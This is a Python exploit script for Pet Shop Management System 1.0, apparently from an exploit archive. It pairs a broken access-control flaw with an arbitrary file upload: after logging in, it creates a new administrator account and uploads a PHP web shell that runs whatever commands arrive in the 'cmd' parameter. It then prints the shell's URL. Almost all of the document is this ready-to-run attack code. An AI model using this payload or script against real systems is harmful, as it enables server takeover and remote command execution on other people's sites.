Pet Shop Management System 1.0 Privilege Escalation / Shell Upload

`#!/usr/bin/python3  
# Exploit Title: Pet Shop Management System v1.0 - Authenticated Privilege Escalation to Remote Code Execution  
# Exploit Author: Oscar Gutierrez (m4xp0w3r)  
# Date: October 01, 2021  
# Vendor Homepage: https://www.sourcecodester.com/php/14962/petshop-management-system-using-phppdo-oop-full-source-code-complete.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/nelzkie15/petshop_management_system.zip  
# Tested on: Ubuntu 20.04.2, Apache, Mysql  
# Vendor: nelzkie15  
# Version: v1.0  
# Exploit Description:  
# Pet Shop Management System v1.0 suffers from a broken access control vulnerability (IDOR) in user.php and usergroup.php that allows an authenticated attacker to add and modify users and user control rules. Additionally, Pet Shop Management System v1.0 suffers from multiple arbitrary file uploads that allow an authenticated attacker to upload malicious php files, thus making remote code execution possible which results in full compromise of the application.  
  
import requests  
import argparse  
import sys  
  
parser = argparse.ArgumentParser()  
parser.add_argument('-u','--user', help='Username to login', required=True)  
parser.add_argument('-p','--password', help='Password to login', required=True)  
parser.add_argument('-t','--target', help='Target to attack example: target.com', required=True)  
args = parser.parse_args()  
proxies = {"http": "http://192.168.0.195:8081", "https": "http://192.168.0.195:8081"}  
target = "http://%s/Petshop_Management_System/" % args.target  
  
def h4x(user, password, target):  
print("[*] Loging into target...\n")  
r = requests.Session()  
data = {'username':args.user,'password':args.password,'status':'Active'}  
response = r.post(url=target + 'controllers/login-user.php', data=data, proxies=proxies )  
response = r.get(url=target + '/main-customer.php',proxies=proxies)  
if "Welcome !" in response.text:  
print('[*] Login succesful\n')  
print('[*] Creating Malcious User...\n')  
files = [  
('avatar',('pwned.php', '<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; }?>', 'application/octet-stream')),  
('full_name',(None,'pwned')),  
('username',(None,'pwned')),  
('password',(None,'pwned123')),  
('contact',(None,'pwned')),  
('email',(None,'[email protected]')),  
('user_category',(None,'administrator')),  
('status',(None,'Active'))  
]  
uploadShell = r.post(url=target + 'controllers/add_user.php', files=files, proxies=proxies)  
if 'Add User Successfully!' in uploadShell.text:  
print('[*] Application compromised! Navigate to : ' + target + 'user_uploads/pwned.php?cmd=whoami')  
  
h4x(args.user, args.password, target)  
  
  
  
  
  
  
  
  
`